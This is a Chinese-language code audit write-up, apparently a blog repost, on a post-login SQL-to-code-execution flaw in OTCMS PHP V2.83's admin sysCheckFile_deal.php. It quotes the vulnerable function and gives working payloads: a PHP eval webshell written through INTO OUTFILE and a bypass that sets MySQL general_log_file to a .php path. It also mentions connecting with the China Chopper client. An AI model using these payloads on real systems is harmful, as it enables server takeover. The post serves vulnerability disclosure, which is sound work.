1. 程式人生 > >【程式碼審計】OTCMS_PHP_V2.83_程式碼執行漏洞分析

【程式碼審計】OTCMS_PHP_V2.83_程式碼執行漏洞分析

 

0x00 環境準備

OTCMS官網:http://otcms.com

網站原始碼版本:網鈦CMS PHP版 V2.83 [更新於2017.12.31]

程式原始碼下載:http://d.otcms.com/php/OTCMS_PHP_V2.83.rar

測試網站首頁:

 

0x01 程式碼分析

1、漏洞檔案地址:/admin/sysCheckFile_deal.php  第523--540行:  

  1.  function SqlDeal(){  
  2.     global $DB,$skin,$mudi,$menuFileID,$menuTreeID;  
  3.   
  4.     $backURL        = OT::PostStr('backURL');  
  5.     $sqlContent     = OT::PostStr('sqlContent');  
  6.   
  7.     if
     (strlen($sqlContent) == 0){  
  8.         JS::AlertBackEnd('SQL語句不能為空.');  
  9.     }  
  10. 10.   
  11. 11.     $judRes = $DB->query($sqlContent);  
  12. 12.         if ($judRes){  
  13. 13.             $alertResult = '成功';  
  14. 14.         }else{  
  15. 15.             $alertResult = '失敗';  
  16. 16.         }  
  17. 17.   
  18. 18.     JS::AlertHrefEnd('執行'. $alertResult .'', $backURL);  
  19. 19.   

20. }  

這段函式中,首先進行接收引數,判斷sqlContent是否為空,然後帶入到資料庫中執行,根據返回結果判斷語句是否執行成功。可以看到引數並未進行任何過濾或處理,導致程式在實現上存在程式碼執行漏洞,攻擊者可以構造SQL語句寫入指令碼程式碼,進一步觸發程式碼執行,控制網站伺服器許可權。

0x02 漏洞利用

1、登入後臺,首先通過資料庫備份功能獲取網站物理路徑:

 

2、訪問漏洞地址,構造SQL語句進行檔案寫操作

漏洞URL:http://127.0.0.1/admin/sysCheckFile.php?mudi=sql

Payload:

  1. select '<?php eval($_POST[g]);?>' into outfile 'e:/study/WWW/otcms/Data_backup/1.php' 

執行失敗,程式在into outfile進行限制了。

3、如何繞過這種限制?

構造SQL語句利用日誌寫入檔案:

  1. Payload:
  2. set global general_log = on;    #開啟general log模式  
  3. set global general_log_file = 'e:/study/WWW/otcms/Data_backup/1.php'; #設定日誌目錄為shell地址  
  4. select '<?php eval($_POST[g]);?>'  #寫入shell  

 

4、成功觸發指令碼程式碼

 

 

5、通過菜刀連線,獲取網站伺服器控制權限

 

 

0x03 修復建議

1、Mysql資料庫降權處理,讓入侵者無法做高許可權下可做的事!

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。